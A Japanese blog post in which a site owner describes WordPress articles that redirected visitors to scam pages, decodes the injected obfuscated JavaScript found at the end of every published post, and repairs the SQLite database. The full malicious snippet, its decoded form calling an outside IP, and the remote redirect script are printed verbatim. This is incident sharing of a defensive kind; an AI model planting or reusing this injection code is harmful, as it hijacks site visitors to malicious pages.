WordPressの記事が勝手にリダイレクト|原因はiframeを追加する改ざんだった

スポンサーリンク

ある日突然、wordpressで作られたサイトの記事を開くと知らないURLにリダイレクトされるという現象に遭遇。

その時対処した内容をまとめたので、同じような現象に遭遇している人がいたなら参考になればありがたいです。

2018年10月8日にリダイレクト現象を発見、やられたぁ..

2018年10月8日、もしもアフェリエイトから「自動マッチングx件があります!【もしもAF】」というメールが届いたので(このメールは何の問題もありません)、メールに書かれている自分のサイトの記事をクリック。

すると、突然怪しいサイトにリダイレクトされる現象に遭遇しました。

リダイレクトされた画面には、残りの時間を示すプログレスバーが表示され、画面上部にはメッセージの受信を許可するかどうかのポップアップ画面が表示されました。

もちろん、ポップアップには応じることなく右上の×で閉じ、プログレスバーが表示された画面も閉じました。

「あれ?おかしいなぁ」と思い、再度チャレンジ。しかし、再度同じ現象に。

念のため、同じサイトの他のページも開いてみましたが同じ現象が...。やられたぁ...

まずは、cookieを疑う

まずは、原因の特定(絞り込み)をしないと対処もできないので、例のごとく、「怪しいのはcookieか?」と思いブラウザのキャッシュをクリア。

これで解決しなければ他の原因があるという最初の第一歩です。

キャッシュのクリアを完了し、改めてサイトの記事を開く....

「現象再現!!!!」...違う...

なんだこれ!書いた記憶がないスクリプトが

どうやらcookieが原因ではないらしい。

となると「記事自体に何か書き込まれているのか?」

とりあえず、記事の編集画面を開き何かおかしなものが書かれていないか確認してみました。

すると、記事の最後に見たことのないスクリプトが書かれているではありませんか!

こんなスクリプトが

記事の最後にこんなスクリプトが書いてありました。

*スクリプトは実行されませんのでご安心ください。

<!–codes_iframe–><script type=”text/javascript”> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”<script src=””+src+””><\/script>”)} </script><!–/codes_iframe–>

とりあえずデコードしてみると

document.write(unescape(‘%3C%73%63%72%69%70%74%20%73%72%63%3D%22%20%68%74%74%70%3A%2F%2F%31%39%33%2E%32%33%38%2E%34%36%2E%36%2F%6D%52%50%50%7A%43%22%3E%3C%2F%73%63%72%69%70%74%3E%20’));

さらにURLデコードすると、

<script src=” http://193.238.46.6/mRPPzC”></script>

という内容でした。

一応気になるので、193.238.46.6/mRPPzCを覗いてみると、

function process() {
window.location = “http://topadbid.com/a/2008179/”;
}
window.onerror = process;
process();

という内容です。

で、最後にhttp://topadbid.com/a/2008179/を開くと、このようにいろいろなサイトにリダイレクトされます。

 

wordpressの記事改ざん後のリダイレクト先(その1)

wordpressの記事改ざん後のリダイレクト先(その1)

 

 

 

 

 

 

 

 

wordpress記事改ざん後のリダイレクト先(その2)

wordpress記事改ざん後のリダイレクト先(その2)

 

 

 

 

 

 

 

wordpress記事改ざん後のリダイレクト先(その3)

wordpress記事改ざん後のリダイレクト先(その3)

 

 

 

 

 

 

 

 

 

 

 

いよいよ対策を

では、いよいよ対策です。

対策案は2つ

1.管理者画面から記事をひとつひとつ手直しする

2.データベースの中味を書き換える

手直しは時間がかかり過ぎでボツ

管理者画面を記事ひとつひとつ開いてはスクリプトを消し...これをやっていたら何時間あっても終わらない。

よって、この案はボツ!

データベースの中味を書き換える

書き換えは、万一失敗した場合、サイト自体が使えなくなる可能性があるため怖いので、データベースをいったんバックアップ。

*ちなみに、こういう時のことを考えて、データベースはMySqlではなくSQliteを使っていたのでした!

データベースをダウンロードして、該当するテーブルのwp_postsをエクスポートして、スクリプトを消した後にインポートすればいいかなぁ?なんて思い、とりあえずエクスポートを。

データベースの操作は、おなじみのDB Browser for SQLiteです。

File → ExportからTable(s) as csv fileを選択してエクスポート実行!あっという間にエクスポート完了。

エクスポートしたCSVファイルをテキストエディタ(筆者は秀丸エディタを愛用)開いてみるとしっかり先ほどのスクリプトが書いてあります。

しかし、すべての記事ではなく、公開されている記事だけにスクリプトが書かれています。

とりあえず、文字置換でスクリプト自体を削除。

そして、データベースへインポート!

「おっ、すぐにできたじゃん!」

早速、サイトにアップロード。そしてサイトを表示!

「あれ?表示されない...」

これは、インポートする際に何か間違ったかな?と思ったのですが、調べるのも面倒なので、CSVではなくSQLでエクスポートしよう!と思い、

File → ExportからDatabase to SQL fileを選択してエクスポート実行。これもあっという間にエクスポート完了。

先ほどと同じように文字置換でスクリプト自体を削除。

そして、データベースへインポート!

「おっ、エラー発生...」

どうも、SQLの文法が間違っているとDB Browser for SQLiteが言っているのですが、教えてくれている辺りは何も手を入れていないので、うーん。

で、調べるのも面倒なので、やむなくDB Browser for SQLiteでwp_postsを開き1件ずつ個別に手修正することにしました。

全部で200記事程度だったので、それほど時間がかかることもなく終了。

そして、サイトへアップロード。

いよいよサイトを開きます。結果は.....「開いたぁ!」

で、とりあえず修復完了。

11秒で1記事改ざん

データベースのwp_postsテーブルのpost_modifiedフィールドを見てみると、2018-10-07 18:09:17から2018-10-07 18:43:21の間に改ざんが行われていました。

また、先ほど書きましたが公開されている記事だけが改ざんされています。

そして、11秒間に1記事改ざんされています。

ちなみに、固定ページは改ざんされていませんでした

改ざんされないように

今回改ざんされたセキュリティの問題はわかりません。なので手の打ちようもありません。

XML-RPC API の脆弱性?

Googleで調べたりもしたのですが、「WordPress の XML-RPC API の脆弱性 (CVE-2017-9062)」の問題も関係なさそうですし、とりあえずWordpressを最新版にアップデートしておきました。

それと念のため、ルートディレクトリの.accessファイルにXML-RPC の無効化のコードを追加しておきました。

*XML-RPC の機能を使っていなので、.htaccess で無効化(アクセス拒否)しました。

<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>

こういうことは面倒なので本当にやめてほしいですね。

以上、同じようなことで困っている人の助けになれば幸いです。

こんな記事も書いていますのでお時間のある方はどうぞ

 

この記事が気に入ったら
いいね ! してね

Twitter でzooを

スポンサーリンク

コメントを残す

*